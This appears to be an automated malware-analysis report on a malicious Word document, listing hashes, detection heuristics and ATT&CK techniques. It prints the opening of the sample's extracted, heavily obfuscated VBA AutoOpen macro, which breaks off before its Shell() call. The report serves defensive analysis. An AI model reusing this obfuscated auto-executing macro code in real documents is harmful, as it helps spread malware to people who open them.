Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 97771b7af26c0a36…

MALICIOUS

Office (OLE)

132.0 KB Created: 2018-09-28 14:29:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: acac45b92dabd8f941900b11c9be0f27 SHA-1: 878cb8903cd30ebf8fb7953448ec4c8f9a1a46ba SHA-256: 97771b7af26c0a365cefabdfbe90f917f0363b2b66544d82c9ba352e2f19f66b
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The AutoOpen macro is present and triggers a Shell() call, indicating an attempt to execute arbitrary commands. The macro itself is heavily obfuscated, but the presence of the Shell() call and the ClamAV detection strongly suggest it's designed to download and execute a second-stage payload.

Heuristics 6

  • ClamAV: Doc.Malware.00536d-6700703-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6700703-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 72478 bytes
SHA-256: 24c0254e9878b2eaa8084f76b3c717f8f8c85f31257fb3d3e15d487e3eb090c0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "aQDwoqNjHmZ"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   Dim osfFcV(1)
osfFcV(0) = InStr(QwBcvQL + obWjKGmDUCGlbUGmP + UQJzBtkm, ZzwWXw + ZSZAMilQBbKZuKuWKINC + dajHODXc) + InStrRev(fUTEfOKc + QzioERZTZMPiDFkB + hUEfZ, qvwkU + ivrCwlwfdPMMJZbkGii + fcPiY) + InStrRev(vBdEHNh + FZoaPbjOmYAvzVhXW + kEBTLj, vrYXBJ + tSAjUmCTBhEmjqpokZwA + uqjkMw) + InStr(VnEVm + CiHKBMhPrhLUFazVZvVi + uvQsF, tqhqo + BMazsinSvpmMQhAIIG + XbjcSd)
   Dim GUJHPk(1)
GUJHPk(0) = InStrRev(zznGYS + nQOiTwoWOTYbFhiCIiEr + cDuVd, tYZRKPbK + lBQSwrIqVPMAAUqsua + WfCjQTAb) + InStrRev(USpzrdM + nzjhXrJvkRlntnwKzppuY + RjDdMjQ, zpziq + FqarhjDDhBiDIwsZIFR + VZnJEpR)
   Dim YIWfpw(2)
YIWfpw(0) = InStrRev(vIimBW + wRQtVSvkMqLAuLDHPCTjt + GCFKjGPz, SNOGMlVd + PBflawPSchXRaLtikvDHiaz + CQwGl) + InStrRev(FWUjirz + RuwovHUzXzMKdJPP + bmivFWK, swCzMjBA + JdINlSMJGYciUINtpzwEz + KvoibJKj) + InStr(SYwctBBK + PhQWXnOlNZIIQjifOR + hXkRQwvv, NjcfSGn + uIZJoJUdWfKzNinWqSpSfh + jkOXr) + InStrRev(IqHNvH + bYOQNWwSTQMdEqSFosGwn + FsblrOu, tRRIhm + EbzsDzNmBHaUabSAVhcBR + zcKKYBEK)
YIWfpw(1) = InStrRev(wlBtN + NmYtTqYQlSOcZiCkbSdG + fPUwP, iNofF + mLmHQlwlPXnqcjjCjnaiZ + LjOlCJS) + InStrRev(PfWpkNMd + cQfKRFwMpLhMaQEANOV + IQNqRVb, zYNfVzj + FimiTDKzIcrwBCAr + rOOHNiZ)
   Dim ijDzrw(1)
ijDzrw(0) = InStrRev(Aafil + tjzmQEoSoWIwNPjDs + KHthI, sGjifQXq + KZvkJpGaBMPzutWssj + waimZGJb) + InStrRev(csTRPBm + hCidIBlXBznUCZbhPzQ + iVpicdUF, azRwZ + VmZZzIptFaEobRwnMGIthr + cchNB) + InStrRev(diAPhMz + YtBzjUcwlYsshwwN + rYHNzmb, aMVwVn + fTHEPQYslIijPmhUtliW + iKLMO) + InStrRev(qwRtI + IjVhBTrLaBboSzzOChFNfC + rlwsL, LKQBU + BzkKnmtjVwuiWpfoQ + MhqkjHnw)
   Dim TjFcFm(2)
TjFcFm(0) = InStr(ZEYAq + OzTIvjvLFlrNZpP + NbDQjPt, vkjwD + JsDSkkuTKEPLisizmvCY + TvQVFj) + InStr(hQzMftch + ZLdEVNznDMjHUXoiBOdA + OkYNpWF, wUnPa + RTAfwIpicnDfiGaHcb + hGUCVC) + InStrRev(ObjzK + fFHjiNjCXBKjpSZvTZdGHmQ + bzkmKP, VsrKz + iUshLvBFPhRBzzlKbkmP + uRDBAk) + InStr(tbnujQ + MfWdztWwZZnsEsPQ + lFiLwIXM, VhBYHsW + OhEaKstiiCUzbZsRAli + qEGbclLW)
TjFcFm(1) = InStrRev(QPjiTi + odzOWjzhAETQJkGbRR + fZjhMu, nzVqjv + XDfEKRajrXuNDlwTomBM + cRWutsN) + InStrRev(EOmsMN + BVWALkLwZcnvWSiAEFnz + owXMwtFp, qjlRj + vSkTdhKadMufMNWlnL + XwtWzvj) + InStrRev(tishZT + ABYQsvmVUYuvvmNVk + OuMsAw, ntLUnJbQ + VjibHYXYwvLFcndDzu + jjijbj) + InStrRev(VjSOcs + qUdYZtbjPKWzMiHwudmzn + ZbfMdkA, fRCrnE + MYiXJLTIusXpBzU + WlaVFz)
   Dim ifSAp(2)
ifSAp(0) = InStrRev(VIQhTOuw + XzLZwMuolWTwhwnJzutoD + ChJiI, AGsNijTZ + UcCMiRlGnsZiXpJLl + iUvbDoz) + InStr(ZosTbzwU + wBFGacjGqJOTvhQHhcozz + lpjXsoP, aYOVw + qQfLVzcSjNOPICpruZjwVw + QZSvJNt) + InStrRev(RHPnNCF + BizYQafaIHSKKLEzlEBV + qjaEhX, tzvnsJs + mkqQHTcBwFaXAEZtFCtlc + PAXSuH) + InStrRev(OkVDj + bfYYLwmznjwtzNkq + FjDzEV, SBqHzb + DUuSOYLJLBUlIHnVwUbHB + jmsqLZ)
ifSAp(1) = InStrRev(JPwLEhE + sTRmKhwzFRscMAsrTS + ozwDwvj, cmOhtbVE + zTOtjCCEpMYVrmMiBDbR + qwMNZW) + InStr(cBIaGR + rfwfEQXpoJasmXdqEqqiSZ + qjCjudIM, tLZbWw + MhpdFlbwDBBjGjFPIOz + bkvSQdT) + InStrRev(FNRENdQD + EKulnFCRhcwOzOBKKSjIIbt + TcwFwQ, hwHNOj + QGwUpHZsHPlKtRk + iXCwRwUX) + InStr(wjhwsUvT + UZMoAOwnNvNctEz + rkqvLfoE, wzHTUJLN + jXjVBbTUzPvQjiQdVV + zOzWn)
   Dim MNsOO(1)
MNsOO(0) = InStrRev(zrMnww + fhlMkGdZjjBESmStqdWsYB + NwMjRzPv, HSJjoa + iQjEFwjoUJoMSPbEzP + XTlhAjHp) + InStr(qXGHJs + LJvliwErTNSaaIlTQ + jiNbVn, GipvD + lodkvsnchYwjwXXpdQYDnJ + NijjOjj) + InStr(qfkisCot + aMiKrYNQNkpbzLazJQzbahS + kNjJq, UfUoLB + JMAEmSEwwnaIcZlCjQ + zIbrudD) + InStrRev(AwRNh + tRJnNsviXswjlfmAv + XatKfac, uMlJOGqN + fIXloLRMlbjRuitCXST + zCopUip)
   Dim hqBuI(2)
hqBuI(0) = InStrRev(VtsEU + aDjVDlaucmYUmGDaARYtWdw + WkQBZJ, QBjHs + ZIjwOqwQujcKrHCN + LkzLPumu) + InStr(IdSUOu + wjoAHpVBGJcEiNXjnz + BLbbz, wzJjPqLL + futjkOdMMHqKidmofN + NKMSVPZ) + InStrRev(taHFa + kMwmWhnzOkNwvwHfW + sOmRF, CPDGVES + QfEYTGiMfviIzvaUkzEbID + hGCSfjEr) + InStrRev(zpljav +
... (truncated)

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